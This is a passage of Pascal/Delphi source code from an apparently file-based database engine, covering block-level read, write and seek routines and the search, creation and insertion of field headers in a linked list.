False then begin Item_.State := ItemBlock.State; Result := False; exit; end; if BlockPOS = 0 then goto Rep_Label; BlockPOS := 0; goto Rep_Label; end; function dbItem_BlockAppendWriteData(var IOHnd: TIOHnd; var Item_: TItem; var Buffers; const Size: Int64): Boolean; begin if (Item_.BlockCount > 0) and ((Item_.CurrentItemBlock.DataPosition + Item_.CurrentItemBlock.Size) = umlFileGetSize(IOHnd)) then begin if umlFileSeek(IOHnd, umlFileGetSize(IOHnd)) = False then begin Item_.State := DB_Item_SetPosError; Result := False; exit; end; if umlFileWrite(IOHnd, Size, Buffers) = False then begin Item_.State := DB_Item_BlockWriteError; Result := False; exit; end; Item_.CurrentItemBlock.Size := Item_.CurrentItemBlock.Size + Size; if dbItem_OnlyWriteItemBlockRec(Item_.CurrentItemBlock.CurrentBlockPOS, IOHnd, Item_.CurrentItemBlock) = False then begin Item_.State := Item_.CurrentItemBlock.State; Result := False; exit; end; Item_.Size := Item_.Size + Size; if dbItem_OnlyWriteItemRec(Item_.RHeader.DataPosition, IOHnd, Item_) = False then begin Result := False; exit; end; Item_.CurrentBlockSeekPOS := Item_.CurrentItemBlock.Size; Item_.CurrentFileSeekPOS := Item_.CurrentItemBlock.DataPosition + Item_.CurrentItemBlock.Size; Item_.DataModification := True; Item_.State := DB_Item_ok; Result := True; exit; end; if dbItem_BlockCreate(IOHnd, Item_) = False then begin Result := False; exit; end; if umlFileSeek(IOHnd, Item_.CurrentItemBlock.DataPosition) = False then begin Item_.State := DB_Item_SetPosError; Result := False; exit; end; if umlFileWrite(IOHnd, Size, Buffers) = False then begin Item_.State := DB_Item_BlockWriteError; Result := False; exit; end; Item_.CurrentItemBlock.Size := Size; if dbItem_OnlyWriteItemBlockRec(Item_.CurrentItemBlock.CurrentBlockPOS, IOHnd, Item_.CurrentItemBlock) = False then begin Item_.State := Item_.CurrentItemBlock.State; Result := False; exit; end; Item_.Size := Item_.Size + Size; if dbItem_OnlyWriteItemRec(Item_.RHeader.DataPosition, IOHnd, Item_) = False then begin Result := False; exit; end; Item_.CurrentBlockSeekPOS := Item_.CurrentItemBlock.Size; Item_.CurrentFileSeekPOS := Item_.CurrentItemBlock.DataPosition + Item_.CurrentItemBlock.Size; Item_.DataModification := True; Item_.State := DB_Item_ok; Result := True; end; function dbItem_BlockWriteData(var IOHnd: TIOHnd; var Item_: TItem; var Buffers; const Size: Int64): Boolean; label Rep_Label; var BuffPointer: Pointer; BuffInt: nativeUInt; DeformitySize, BlockPOS: Int64; ItemBlock: TItemBlock; begin if (Item_.Size = 0) or (Item_.BlockCount = 0) then begin Result := dbItem_BlockAppendWriteData(IOHnd, Item_, Buffers, Size); exit; end; case Item_.CurrentItemBlock.ID of DB_Item_Last, DB_Item_1: begin if Item_.CurrentBlockSeekPOS = Item_.CurrentItemBlock.Size then begin Result := dbItem_BlockAppendWriteData(IOHnd, Item_, Buffers, Size); exit; end; end; end; if Item_.CurrentBlockSeekPOS > Item_.CurrentItemBlock.Size then begin Item_.State := DB_Item_BlockPositionError; Result := False; exit; end; ItemBlock := Item_.CurrentItemBlock; BlockPOS := Item_.CurrentBlockSeekPOS; BuffInt := nativeUInt(@Buffers); BuffPointer := Pointer(BuffInt); DeformitySize := Size; Rep_Label: if ItemBlock.Size - BlockPOS = 0 then begin case ItemBlock.ID of DB_Item_Last, DB_Item_1: begin Result := dbItem_BlockAppendWriteData(IOHnd, Item_, BuffPointer^, DeformitySize); exit; end; end; if dbItem_OnlyReadItemBlockRec(ItemBlock.NextBlockPOS, IOHnd, ItemBlock) = False then begin Item_.State := ItemBlock.State; Result := False; exit; end; if BlockPOS > 0 then BlockPOS := 0; while (ItemBlock.Size - BlockPOS) = 0 do begin case ItemBlock.ID of DB_Item_Last: begin Result := dbItem_BlockAppendWriteData(IOHnd, Item_, BuffPointer^, DeformitySize); exit; end; end; if dbItem_OnlyReadItemBlockRec(ItemBlock.NextBlockPOS, IOHnd, ItemBlock) = False then begin Item_.State := ItemBlock.State; Result := False; exit; end; end; end; if umlFileSeek(IOHnd, ItemBlock.DataPosition + BlockPOS) = False then begin Item_.State := DB_Item_SetPosError; Result := False; exit; end; if DeformitySize <= ItemBlock.Size - BlockPOS then begin if umlFileWrite(IOHnd, DeformitySize, BuffPointer^) = False then begin Item_.State := DB_Item_BlockWriteError; Result := False; exit; end; Item_.CurrentBlockSeekPOS := BlockPOS + DeformitySize; Item_.CurrentFileSeekPOS := ItemBlock.DataPosition + (BlockPOS + DeformitySize); Item_.CurrentItemBlock := ItemBlock; Item_.DataModification := True; Item_.State := DB_Item_ok; Result := True; exit; end; if umlFileWrite(IOHnd, ItemBlock.Size - BlockPOS, BuffPointer^) = False then begin Item_.State := DB_Item_BlockWriteError; Result := False; exit; end; BuffInt := BuffInt + (ItemBlock.Size - BlockPOS); BuffPointer := Pointer(BuffInt); DeformitySize := DeformitySize - (ItemBlock.Size - BlockPOS); case ItemBlock.ID of DB_Item_Last, DB_Item_1: begin Result := dbItem_BlockAppendWriteData(IOHnd, Item_, BuffPointer^, DeformitySize); exit; end; end; if dbItem_OnlyReadItemBlockRec(ItemBlock.NextBlockPOS, IOHnd, ItemBlock) = False then begin Item_.State := ItemBlock.State; Result := False; exit; end; if BlockPOS = 0 then goto Rep_Label; BlockPOS := 0; goto Rep_Label; end; function dbItem_BlockSeekPOS(var IOHnd: TIOHnd; var Item_: TItem; const Position: Int64): Boolean; var ItemBlock: TItemBlock; DeformityInt: Int64; begin if (Position = 0) and (Item_.Size = 0) then begin Item_.State := DB_Item_ok; Result := True; exit; end; if (Position > Item_.Size) or (Item_.BlockCount = 0) then begin Item_.State := DB_Item_BlockOverrate; Result := False; exit; end; DeformityInt := Position; if dbItem_OnlyReadItemBlockRec(Item_.FirstBlockPOS, IOHnd, ItemBlock) = False then begin Item_.State := ItemBlock.State; Result := False; exit; end; if DeformityInt <= ItemBlock.Size then begin Item_.CurrentBlockSeekPOS := ItemBlock.Size - (ItemBlock.Size - DeformityInt); Item_.CurrentFileSeekPOS := ItemBlock.DataPosition + Item_.CurrentBlockSeekPOS; Item_.CurrentItemBlock := ItemBlock; Item_.State := DB_Item_ok; Result := True; exit; end; case ItemBlock.ID of DB_Item_Last, DB_Item_1: begin Item_.State := DB_Item_BlockOverrate; Result := False; exit; end; end; DeformityInt := DeformityInt - ItemBlock.Size; while dbItem_OnlyReadItemBlockRec(ItemBlock.NextBlockPOS, IOHnd, ItemBlock) do begin if DeformityInt <= ItemBlock.Size then begin Item_.CurrentBlockSeekPOS := ItemBlock.Size - (ItemBlock.Size - DeformityInt); Item_.CurrentFileSeekPOS := ItemBlock.DataPosition + Item_.CurrentBlockSeekPOS; Item_.CurrentItemBlock := ItemBlock; Item_.State := DB_Item_ok; Result := True; exit; end; case ItemBlock.ID of DB_Item_Last: begin Item_.State := DB_Item_BlockOverrate; Result := False; exit; end; end; DeformityInt := DeformityInt - ItemBlock.Size; end; Item_.State := ItemBlock.State; Result := False; end; function dbItem_BlockGetPOS(var IOHnd: TIOHnd; var Item_: TItem): Int64; var ItemBlock: TItemBlock; begin if (Item_.Size = 0) or (Item_.BlockCount = 0) then begin Item_.State := DB_Item_BlockOverrate; Result := 0; exit; end; if Item_.CurrentBlockSeekPOS > Item_.CurrentItemBlock.Size then begin Item_.State := DB_Item_BlockPositionError; Result := 0; exit; end; Result := Item_.CurrentBlockSeekPOS; case Item_.CurrentItemBlock.ID of DB_Item_First, DB_Item_1: begin Item_.State := DB_Item_ok; exit; end; end; if dbItem_OnlyReadItemBlockRec(Item_.CurrentItemBlock.PrevBlockPOS, IOHnd, ItemBlock) = False then begin Item_.State := ItemBlock.State; Result := 0; exit; end; Result := Result + ItemBlock.Size; case ItemBlock.ID of DB_Item_First, DB_Item_1: begin Item_.State := DB_Item_ok; exit; end; end; while dbItem_OnlyReadItemBlockRec(ItemBlock.PrevBlockPOS, IOHnd, ItemBlock) do begin Result := Result + ItemBlock.Size; if ItemBlock.ID = DB_Item_First then begin Item_.State := DB_Item_ok; exit; end; end; Item_.State := ItemBlock.State; Result := 0; end; function dbItem_BlockSeekStartPOS(var IOHnd: TIOHnd; var Item_: TItem): Boolean; begin if Item_.BlockCount = 0 then begin Item_.State := DB_Item_BlockOverrate; Result := False; exit; end; if dbItem_OnlyReadItemBlockRec(Item_.FirstBlockPOS, IOHnd, Item_.CurrentItemBlock) = False then begin Item_.State := Item_.CurrentItemBlock.State; Result := False; exit; end; Item_.CurrentBlockSeekPOS := 0; Item_.CurrentFileSeekPOS := Item_.CurrentItemBlock.DataPosition; Item_.State := DB_Item_ok; Result := True; end; function dbItem_BlockSeekLastPOS(var IOHnd: TIOHnd; var Item_: TItem): Boolean; begin if Item_.BlockCount = 0 then begin Item_.State := DB_Item_BlockOverrate; Result := False; exit; end; if dbItem_OnlyReadItemBlockRec(Item_.LastBlockPOS, IOHnd, Item_.CurrentItemBlock) = False then begin Item_.State := Item_.CurrentItemBlock.State; Result := False; exit; end; Item_.CurrentBlockSeekPOS := Item_.CurrentItemBlock.Size; Item_.CurrentFileSeekPOS := Item_.CurrentItemBlock.DataPosition + Item_.CurrentItemBlock.Size; Item_.State := DB_Item_ok; Result := True; end; function dbField_GetPOSField(const fPos: Int64; var IOHnd: TIOHnd): TField; begin if not dbField_ReadRec(fPos, IOHnd, Result) then Init_TField(Result); end; function dbField_GetFirstHeader(const fPos: Int64; var IOHnd: TIOHnd): THeader; var f: TField; begin Init_THeader(Result); if dbField_ReadRec(fPos, IOHnd, f) then dbHeader_ReadRec(f.FirstHeaderPOS, IOHnd, Result); end; function dbField_GetLastHeader(const fPos: Int64; var IOHnd: TIOHnd): THeader; var f: TField; begin Init_THeader(Result); if dbField_ReadRec(fPos, IOHnd, f) then dbHeader_ReadRec(f.LastHeaderPOS, IOHnd, Result); end; function dbField_OnlyFindFirstName(const Name: U_String; const fPos: Int64; var IOHnd: TIOHnd; var FieldS_: TFieldSearch): Boolean; var f: TField; begin FieldS_.InitFlags := False; if dbField_ReadRec(fPos, IOHnd, f) = False then begin FieldS_.State := f.State; Result := False; exit; end; if f.HeaderCount = 0 then begin FieldS_.State := DB_Header_NotFindHeader; Result := False; exit; end; if dbHeader_FindNext(Name, f.FirstHeaderPOS, f.LastHeaderPOS, IOHnd, FieldS_.RHeader) = False then begin FieldS_.State := FieldS_.RHeader.State; Result := False; exit; end; FieldS_.InitFlags := True; FieldS_.PositionID := FieldS_.RHeader.PositionID; FieldS_.OverPOS := f.LastHeaderPOS; FieldS_.StartPos := FieldS_.RHeader.NextHeader; FieldS_.Name := Name; FieldS_.ID := FieldS_.RHeader.ID; FieldS_.State := FieldS_.RHeader.State; Result := True; end; function dbField_OnlyFindNextName(var IOHnd: TIOHnd; var FieldS_: TFieldSearch): Boolean; begin if FieldS_.InitFlags = False then begin FieldS_.State := DB_Field_NotInitSearch; Result := False; exit; end; case FieldS_.PositionID of DB_Header_1, DB_Header_Last: begin FieldS_.InitFlags := False; FieldS_.State := DB_Header_NotFindHeader; Result := False; exit; end; end; if dbHeader_FindNext(FieldS_.Name, FieldS_.StartPos, FieldS_.OverPOS, IOHnd, FieldS_.RHeader) = False then begin FieldS_.InitFlags := False; FieldS_.State := FieldS_.RHeader.State; Result := False; exit; end; FieldS_.PositionID := FieldS_.RHeader.PositionID; FieldS_.StartPos := FieldS_.RHeader.NextHeader; FieldS_.ID := FieldS_.RHeader.ID; FieldS_.State := FieldS_.RHeader.State; Result := True; end; function dbField_OnlyFindLastName(const Name: U_String; const fPos: Int64; var IOHnd: TIOHnd; var FieldS_: TFieldSearch): Boolean; var f: TField; begin FieldS_.InitFlags := False; if dbField_ReadRec(fPos, IOHnd, f) = False then begin FieldS_.State := f.State; Result := False; exit; end; if f.HeaderCount = 0 then begin FieldS_.State := DB_Header_NotFindHeader; Result := False; exit; end; if dbHeader_FindPrev(Name, f.LastHeaderPOS, f.FirstHeaderPOS, IOHnd, FieldS_.RHeader) = False then begin FieldS_.State := FieldS_.RHeader.State; Result := False; exit; end; FieldS_.InitFlags := True; FieldS_.PositionID := FieldS_.RHeader.PositionID; FieldS_.OverPOS := f.FirstHeaderPOS; FieldS_.StartPos := FieldS_.RHeader.PrevHeader; FieldS_.Name := Name; FieldS_.ID := FieldS_.RHeader.ID; FieldS_.State := FieldS_.RHeader.State; Result := True; end; function dbField_OnlyFindPrevName(var IOHnd: TIOHnd; var FieldS_: TFieldSearch): Boolean; begin if FieldS_.InitFlags = False then begin FieldS_.State := DB_Field_NotInitSearch; Result := False; exit; end; case FieldS_.PositionID of DB_Header_1, DB_Header_First: begin FieldS_.InitFlags := False; FieldS_.State := DB_Header_NotFindHeader; Result := False; exit; end; end; if dbHeader_FindPrev(FieldS_.Name, FieldS_.StartPos, FieldS_.OverPOS, IOHnd, FieldS_.RHeader) = False then begin FieldS_.InitFlags := False; FieldS_.State := FieldS_.RHeader.State; Result := False; exit; end; FieldS_.PositionID := FieldS_.RHeader.PositionID; FieldS_.StartPos := FieldS_.RHeader.PrevHeader; FieldS_.ID := FieldS_.RHeader.ID; FieldS_.State := FieldS_.RHeader.State; Result := True; end; function dbField_FindFirst(const Name: U_String; const ID: Byte; const fPos: Int64; var IOHnd: TIOHnd; var FieldS_: TFieldSearch): Boolean; var f: TField; begin FieldS_.InitFlags := False; if dbField_ReadRec(fPos, IOHnd, f) = False then begin FieldS_.State := f.State; Result := False; exit; end; if f.HeaderCount = 0 then begin FieldS_.State := DB_Header_NotFindHeader; Result := False; exit; end; FieldS_.OverPOS := f.LastHeaderPOS; FieldS_.StartPos := f.FirstHeaderPOS; while dbHeader_FindNext(Name, FieldS_.StartPos, FieldS_.OverPOS, IOHnd, FieldS_.RHeader) do begin FieldS_.StartPos := FieldS_.RHeader.NextHeader; if FieldS_.RHeader.ID = ID then begin FieldS_.InitFlags := True; FieldS_.PositionID := FieldS_.RHeader.PositionID; FieldS_.Name := Name; FieldS_.ID := ID; FieldS_.State := FieldS_.RHeader.State; Result := True; exit; end; if (FieldS_.RHeader.PositionID = DB_Header_1) or (FieldS_.RHeader.PositionID = DB_Header_Last) then begin FieldS_.State := DB_Header_NotFindHeader; Result := False; exit; end; end; FieldS_.State := FieldS_.RHeader.State; Result := False; end; function dbField_FindNext(var IOHnd: TIOHnd; var FieldS_: TFieldSearch): Boolean; begin if FieldS_.InitFlags = False then begin FieldS_.State := DB_Field_NotInitSearch; Result := False; exit; end; case FieldS_.PositionID of DB_Header_1, DB_Header_Last: begin FieldS_.InitFlags := False; FieldS_.State := DB_Header_NotFindHeader; Result := False; exit; end; end; while dbHeader_FindNext(FieldS_.Name, FieldS_.StartPos, FieldS_.OverPOS, IOHnd, FieldS_.RHeader) do begin FieldS_.StartPos := FieldS_.RHeader.NextHeader; if FieldS_.RHeader.ID = FieldS_.ID then begin FieldS_.PositionID := FieldS_.RHeader.PositionID; FieldS_.State := FieldS_.RHeader.State; Result := True; exit; end; if FieldS_.RHeader.PositionID = DB_Header_Last then begin FieldS_.InitFlags := False; FieldS_.State := DB_Header_NotFindHeader; Result := False; exit; end; end; FieldS_.InitFlags := False; FieldS_.State := FieldS_.RHeader.State; Result := False; end; function dbField_FindLast(const Name: U_String; const ID: Byte; const fPos: Int64; var IOHnd: TIOHnd; var FieldS_: TFieldSearch): Boolean; var f: TField; begin FieldS_.InitFlags := False; if dbField_ReadRec(fPos, IOHnd, f) = False then begin FieldS_.State := f.State; Result := False; exit; end; if f.HeaderCount = 0 then begin FieldS_.State := DB_Header_NotFindHeader; Result := False; exit; end; FieldS_.OverPOS := f.FirstHeaderPOS; FieldS_.StartPos := f.LastHeaderPOS; while dbHeader_FindPrev(Name, FieldS_.StartPos, FieldS_.OverPOS, IOHnd, FieldS_.RHeader) do begin FieldS_.StartPos := FieldS_.RHeader.PrevHeader; if FieldS_.RHeader.ID = ID then begin FieldS_.InitFlags := True; FieldS_.PositionID := FieldS_.RHeader.PositionID; FieldS_.Name := Name; FieldS_.ID := ID; FieldS_.State := FieldS_.RHeader.State; Result := True; exit; end; if (FieldS_.RHeader.PositionID = DB_Header_1) or (FieldS_.RHeader.PositionID = DB_Header_First) then begin FieldS_.State := DB_Header_NotFindHeader; Result := False; exit; end; end; FieldS_.State := FieldS_.RHeader.State; Result := False; end; function dbField_FindPrev(var IOHnd: TIOHnd; var FieldS_: TFieldSearch): Boolean; begin if FieldS_.InitFlags = False then begin FieldS_.State := DB_Field_NotInitSearch; Result := False; exit; end; case FieldS_.PositionID of DB_Header_1, DB_Header_First: begin FieldS_.InitFlags := False; FieldS_.State := DB_Header_NotFindHeader; Result := False; exit; end; end; while dbHeader_FindPrev(FieldS_.Name, FieldS_.StartPos, FieldS_.OverPOS, IOHnd, FieldS_.RHeader) do begin FieldS_.StartPos := FieldS_.RHeader.PrevHeader; if FieldS_.RHeader.ID = FieldS_.ID then begin FieldS_.PositionID := FieldS_.RHeader.PositionID; FieldS_.State := FieldS_.RHeader.State; Result := True; exit; end; if FieldS_.RHeader.PositionID = DB_Header_First then begin FieldS_.InitFlags := False; FieldS_.State := DB_Header_NotFindHeader; Result := False; exit; end; end; FieldS_.InitFlags := False; FieldS_.State := FieldS_.RHeader.State; Result := False; end; function dbField_FindFirstItem(const Name: U_String; const ItemExtID: Byte; const fPos: Int64; var IOHnd: TIOHnd; var FieldS_: TFieldSearch; var Item_: TItem): Boolean; begin if dbField_FindFirst(Name, DB_Header_Item_ID, fPos, IOHnd, FieldS_) = False then begin Result := False; exit; end; Item_.RHeader := FieldS_.RHeader; if dbItem_OnlyReadItemRec(FieldS_.RHeader.DataPosition, IOHnd, Item_) = False then begin FieldS_.State := Item_.State; Result := False; exit; end; if Item_.ExtID = ItemExtID then begin Result := True; exit; end; while dbField_FindNext(IOHnd, FieldS_) do begin Item_.RHeader := FieldS_.RHeader; if dbItem_OnlyReadItemRec(FieldS_.RHeader.DataPosition, IOHnd, Item_) = False then begin FieldS_.State := Item_.State; Result := False; exit; end; if Item_.ExtID = ItemExtID then begin Result := True; exit; end; end; Result := False; end; function dbField_FindNextItem(const ItemExtID: Byte; var IOHnd: TIOHnd; var FieldS_: TFieldSearch; var Item_: TItem): Boolean; begin while dbField_FindNext(IOHnd, FieldS_) do begin Item_.RHeader := FieldS_.RHeader; if dbItem_OnlyReadItemRec(FieldS_.RHeader.DataPosition, IOHnd, Item_) = False then begin FieldS_.State := Item_.State; Result := False; exit; end; if Item_.ExtID = ItemExtID then begin Result := True; exit; end; end; Result := False; end; function dbField_FindLastItem(const Name: U_String; const ItemExtID: Byte; const fPos: Int64; var IOHnd: TIOHnd; var FieldS_: TFieldSearch; var Item_: TItem): Boolean; begin if dbField_FindLast(Name, DB_Header_Item_ID, fPos, IOHnd, FieldS_) = False then begin Result := False; exit; end; Item_.RHeader := FieldS_.RHeader; if dbItem_OnlyReadItemRec(FieldS_.RHeader.DataPosition, IOHnd, Item_) = False then begin FieldS_.State := Item_.State; Result := False; exit; end; if Item_.ExtID = ItemExtID then begin Result := True; exit; end; while dbField_FindPrev(IOHnd, FieldS_) do begin Item_.RHeader := FieldS_.RHeader; if dbItem_OnlyReadItemRec(FieldS_.RHeader.DataPosition, IOHnd, Item_) = False then begin FieldS_.State := Item_.State; Result := False; exit; end; if Item_.ExtID = ItemExtID then begin Result := True; exit; end; end; Result := False; end; function dbField_FindPrevItem(const ItemExtID: Byte; var IOHnd: TIOHnd; var FieldS_: TFieldSearch; var Item_: TItem): Boolean; begin while dbField_FindPrev(IOHnd, FieldS_) do begin Item_.RHeader := FieldS_.RHeader; if dbItem_OnlyReadItemRec(FieldS_.RHeader.DataPosition, IOHnd, Item_) = False then begin FieldS_.State := Item_.State; Result := False; exit; end; if Item_.ExtID = ItemExtID then begin Result := True; exit; end; end; Result := False; end; function dbField_FindFirstItem(const Name: U_String; const ItemExtID: Byte; const fPos: Int64; var IOHnd: TIOHnd; var FieldS_: TFieldSearch): Boolean; var itm: TItem; begin if dbField_FindFirst(Name, DB_Header_Item_ID, fPos, IOHnd, FieldS_) = False then begin Result := False; exit; end; if dbItem_ReadRec(FieldS_.RHeader.CurrentHeader, IOHnd, itm) = False then begin FieldS_.State := itm.State; Result := False; exit; end; if itm.ExtID = ItemExtID then begin Result := True; exit; end; while dbField_FindNext(IOHnd, FieldS_) do begin if dbItem_ReadRec(FieldS_.RHeader.CurrentHeader, IOHnd, itm) = False then begin FieldS_.State := itm.State; Result := False; exit; end; if itm.ExtID = ItemExtID then begin Result := True; exit; end; end; Result := False; end; function dbField_FindNextItem(const ItemExtID: Byte; var IOHnd: TIOHnd; var FieldS_: TFieldSearch): Boolean; var itm: TItem; begin while dbField_FindNext(IOHnd, FieldS_) do begin if dbItem_ReadRec(FieldS_.RHeader.CurrentHeader, IOHnd, itm) = False then begin FieldS_.State := itm.State; Result := False; exit; end; if itm.ExtID = ItemExtID then begin Result := True; exit; end; end; Result := False; end; function dbField_FindLastItem(const Name: U_String; const ItemExtID: Byte; const fPos: Int64; var IOHnd: TIOHnd; var FieldS_: TFieldSearch): Boolean; var itm: TItem; begin if dbField_FindLast(Name, DB_Header_Item_ID, fPos, IOHnd, FieldS_) = False then begin Result := False; exit; end; if dbItem_ReadRec(FieldS_.RHeader.CurrentHeader, IOHnd, itm) = False then begin FieldS_.State := itm.State; Result := False; exit; end; if itm.ExtID = ItemExtID then begin Result := True; exit; end; while dbField_FindPrev(IOHnd, FieldS_) do begin if dbItem_ReadRec(FieldS_.RHeader.CurrentHeader, IOHnd, itm) = False then begin FieldS_.State := itm.State; Result := False; exit; end; if itm.ExtID = ItemExtID then begin Result := True; exit; end; end; Result := False; end; function dbField_FindPrevItem(const ItemExtID: Byte; var IOHnd: TIOHnd; var FieldS_: TFieldSearch): Boolean; var itm: TItem; begin while dbField_FindPrev(IOHnd, FieldS_) do begin if dbItem_ReadRec(FieldS_.RHeader.CurrentHeader, IOHnd, itm) = False then begin FieldS_.State := itm.State; Result := False; exit; end; if itm.ExtID = ItemExtID then begin Result := True; exit; end; end; Result := False; end; function dbField_ExistItem(const Name: U_String; const ItemExtID: Byte; const fPos: Int64; var IOHnd: TIOHnd): Boolean; var fs: TFieldSearch; begin Result := dbField_FindFirstItem(Name, ItemExtID, fPos, IOHnd, fs); end; function dbField_ExistHeader(const Name: U_String; const ID: Byte; const fPos: Int64; var IOHnd: TIOHnd): Boolean; var fs: TFieldSearch; begin Result := dbField_FindFirst(Name, ID, fPos, IOHnd, fs); end; function dbField_CreateHeader(const Name: U_String; const ID: Byte; const fPos: Int64; var IOHnd: TIOHnd; var Header_: THeader): Boolean; var f: TField; Header: THeader; begin if dbField_ReadRec(fPos, IOHnd, f) = False then begin Header_.State := f.State; Result := False; exit; end; Header_.ID := ID; Header_.Name := Name; case f.HeaderCount of 0: begin f.HeaderCount := 1; f.FirstHeaderPOS := umlFileGetSize(IOHnd); f.LastHeaderPOS := f.FirstHeaderPOS; f.RHeader.ModificationTime := umlDefaultTime; Header_.PositionID := DB_Header_1; Header_.NextHeader := f.LastHeaderPOS; Header_.PrevHeader := f.FirstHeaderPOS; Header_.CurrentHeader := f.FirstHeaderPOS; Header_.CreateTime := umlDefaultTime; Header_.ModificationTime := umlDefaultTime; Header_.DataPosition := Header_.CurrentHeader + Get_DB_HeaderL(IOHnd); if dbField_WriteRec(f.RHeader.CurrentHeader, IOHnd, f) = False then begin Header_.State := f.State; Result := False; exit; end; if dbHeader_WriteRec(Header_.CurrentHeader, IOHnd, Header_) = False then begin Result := False; exit; end; end; 1: begin Header_.CurrentHeader := umlFileGetSize(IOHnd); Header_.NextHeader := f.FirstHeaderPOS; Header_.PrevHeader := f.FirstHeaderPOS; if dbHeader_ReadRec(f.FirstHeaderPOS, IOHnd, Header) = False then begin Header_.State := Header.State; Result := False; exit; end; Header.PrevHeader := Header_.CurrentHeader; Header.NextHeader := Header_.CurrentHeader; Header.PositionID := DB_Header_First; if dbHeader_WriteRec(f.FirstHeaderPOS, IOHnd, Header) = False then begin Header_.State := Header.State; Result := False; exit; end; f.HeaderCount := f.HeaderCount + 1; f.LastHeaderPOS := Header_.CurrentHeader; f.RHeader.ModificationTime := umlDefaultTime; Header_.CreateTime := umlDefaultTime; Header_.ModificationTime := umlDefaultTime; Header_.DataPosition := Header_.CurrentHeader + Get_DB_HeaderL(IOHnd); Header_.PositionID := DB_Header_Last; if dbField_WriteRec(f.RHeader.CurrentHeader, IOHnd, f) = False then begin Header_.State := f.State; Result := False; exit; end; if dbHeader_WriteRec(Header_.CurrentHeader, IOHnd, Header_) = False then begin Result := False; exit; end; end; else begin Header_.CurrentHeader := umlFileGetSize(IOHnd); // modify first header if dbHeader_ReadRec(f.FirstHeaderPOS, IOHnd, Header) = False then begin Header_.State := Header.State; Result := False; exit; end; Header.PrevHeader := Header_.CurrentHeader; Header_.NextHeader := Header.CurrentHeader; if dbHeader_WriteRec(f.FirstHeaderPOS, IOHnd, Header) = False then begin Header_.State := Header.State; Result := False; exit; end; // moidfy last header if dbHeader_ReadRec(f.LastHeaderPOS, IOHnd, Header) = False then begin Header_.State := Header.State; Result := False; exit; end; Header.NextHeader := Header_.CurrentHeader; Header_.PrevHeader := f.LastHeaderPOS; Header.PositionID := DB_Header_Medium; if dbHeader_WriteRec(f.LastHeaderPOS, IOHnd, Header) = False then begin Header_.State := Header.State; Result := False; exit; end; f.HeaderCount := f.HeaderCount + 1; f.LastHeaderPOS := Header_.CurrentHeader; f.RHeader.ModificationTime := umlDefaultTime; Header_.CreateTime := umlDefaultTime; Header_.ModificationTime := umlDefaultTime; Header_.DataPosition := Header_.CurrentHeader + Get_DB_HeaderL(IOHnd); Header_.PositionID := DB_Header_Last; if dbField_WriteRec(f.RHeader.CurrentHeader, IOHnd, f) = False then begin Header_.State := f.State; Result := False; exit; end; if dbHeader_WriteRec(Header_.CurrentHeader, IOHnd, Header_) = False then begin Result := False; exit; end; end; end; Header_.State := DB_Header_ok; Result := True; end; function dbField_InsertNewHeader(const Name: U_String; const ID: Byte; const FieldPos, InsertHeaderPos: Int64; var IOHnd: TIOHnd; var NewHeader: THeader): Boolean; var f: TField; Curr, Prev: THeader; begin if dbField_ReadRec(FieldPos, IOHnd, f) = False then begin NewHeader.State := f.State; Result := False; exit; end; if dbHeader_ReadRec(InsertHeaderPos, IOHnd, Curr) = False then begin NewHeader.State := Curr.State; Result := False; exit; end; f.RHeader.ModificationTime := umlDefaultTime; NewHeader.CurrentHeader := umlFileGetSize(IOHnd); NewHeader.DataPosition := NewHeader.CurrentHeader + Get_DB_HeaderL(IOHnd); NewHeader.CreateTime := umlDefaultTime; NewHeader.ModificationTime := umlDefaultTime; NewHeader.ID := ID; NewHeader.UserProperty := 0; NewHeader.Name := Name; NewHeader.State := DB_Header_ok; case Curr.PositionID of DB_Header_First: begin if f.HeaderCount > 1 then begin // moidfy field f.HeaderCount := f.HeaderCount + 1; f.FirstHeaderPOS := NewHeader.CurrentHeader; if dbField_WriteRec(f.RHeader.CurrentHeader, IOHnd, f) = False then begin NewHeader.State := f.State; Result := False; exit; end; // write newheader NewHeader.PrevHeader := f.LastHeaderPOS; NewHeader.NextHeader := Curr.CurrentHeader; NewHeader.PositionID := DB_Header_First; if dbHeader_WriteRec(NewHeader.CurrentHeader, IOHnd, NewHeader) = False then begin Result := False; exit; end; // moidfy current Curr.PrevHeader := NewHeader.CurrentHeader; Curr.PositionID := DB_Header_Medium; if dbHeader_WriteRec(Curr.CurrentHeader, IOHnd, Curr) = False then begin NewHeader.State := Curr.State; Result := False; exit; end; end else if f.HeaderCount = 1 then begin // modify field f.HeaderCount := f.HeaderCount + 1; f.FirstHeaderPOS := NewHeader.CurrentHeader; f.LastHeaderPOS := Curr.CurrentHeader; if dbField_WriteRec(f.RHeader.CurrentHeader, IOHnd, f) = False then begin NewHeader.State := f.State; Result := False; exit; end; // write newheader NewHeader.PrevHeader := f.LastHeaderPOS; NewHeader.NextHeader := Curr.CurrentHeader; NewHeader.PositionID := DB_Header_First; if dbHeader_WriteRec(NewHeader.CurrentHeader, IOHnd, NewHeader) = False then begin Result := False; exit; end; // modify current header Curr.PrevHeader := NewHeader.CurrentHeader; Curr.PositionID := DB_Header_Last; if dbHeader_WriteRec(Curr.CurrentHeader, IOHnd, Curr) = False then begin NewHeader.State := Curr.State; Result := False; exit; end; end else begin // error NewHeader.State := DB_Header_NotFindHeader; Result := False; exit; end end; DB_Header_Medium: begin // read prev header if dbHeader_ReadRec(Curr.PrevHeader, IOHnd, Prev) = False then begin NewHeader.State := Prev.State; Result := False; exit; end; // modify field f.HeaderCount := f.HeaderCount + 1; if dbField_WriteRec(f.RHeader.CurrentHeader, IOHnd, f) = False then begin NewHeader.State := f.State; Result := False; exit; end; // write newheader NewHeader.PrevHeader := Prev.CurrentHeader; NewHeader.NextHeader := Curr.CurrentHeader; NewHeader.PositionID := DB_Header_Medium; if dbHeader_WriteRec(NewHeader.CurrentHeader, IOHnd, NewHeader) = False then begin Result := False; exit; end; // modify prev header Prev.NextHeader := NewHeader.CurrentHeader; if dbHeader_WriteRec(Prev.CurrentHeader, IOHnd, Prev) = False then begin NewHeader.State := Prev.State; Result := False; exit; end; // write current Curr.PrevHeader := NewHeader.CurrentHeader; Curr.PositionID := DB_Header_Medium; if dbHeader_WriteRec(Curr.CurrentHeader, IOHnd, Curr) = False then begin NewHeader.State := Curr.State; Result := False; exit; end; end; DB_Header_Last: begin if f.HeaderCount > 1 then begin // read prev header if dbHeader_ReadRec(Curr.PrevHeader, IOHnd, Prev) = False then begin NewHeader.State := Prev.State; Result := False; exit; end; // modify field f.HeaderCount := f.HeaderCount + 1; if dbField_WriteRec(f.RHeader.CurrentHeader, IOHnd, f) = False then begin NewHeader.State := f.State; Result := False; exit; end; // write newheader 